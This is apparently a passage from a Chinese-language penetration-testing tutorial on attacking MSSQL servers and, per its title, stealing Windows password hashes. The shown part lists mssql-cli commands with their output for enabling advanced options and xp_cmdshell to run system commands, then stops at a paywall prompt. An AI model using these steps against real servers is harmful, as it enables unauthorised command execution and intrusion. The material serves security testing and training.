攻击易受攻击的数据库服务及窃取Windows账户密码哈希
1. 攻击MSSQL服务器并执行系统命令
在对MSSQL服务器进行渗透测试时,我们可以通过一系列操作来实现对目标系统的控制和信息收集。
- 启用高级选项和xp_cmdshell存储过程
- 首先,在mssql - cli提示符下运行以下命令启用高级选项:
master> sp_configure 'show advanced options', '1'
Configuration option 'show advanced options' changed from 0 to 1. Run the
RECONFIGURE statement to install.
Time: 0.256s
master> RECONFIGURE
Commands completed successfully.
Time: 0.258s
- 接着,启用xp_cmdshell存储过程:
master> sp_configure 'xp_cmdshell', '1'
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE
statement to install.
Time: 0.253s
master> RECONFIGURE
Commands completed successfull
超级会员免费看
订阅专栏 解锁全文
853

被折叠的 条评论
为什么被折叠?



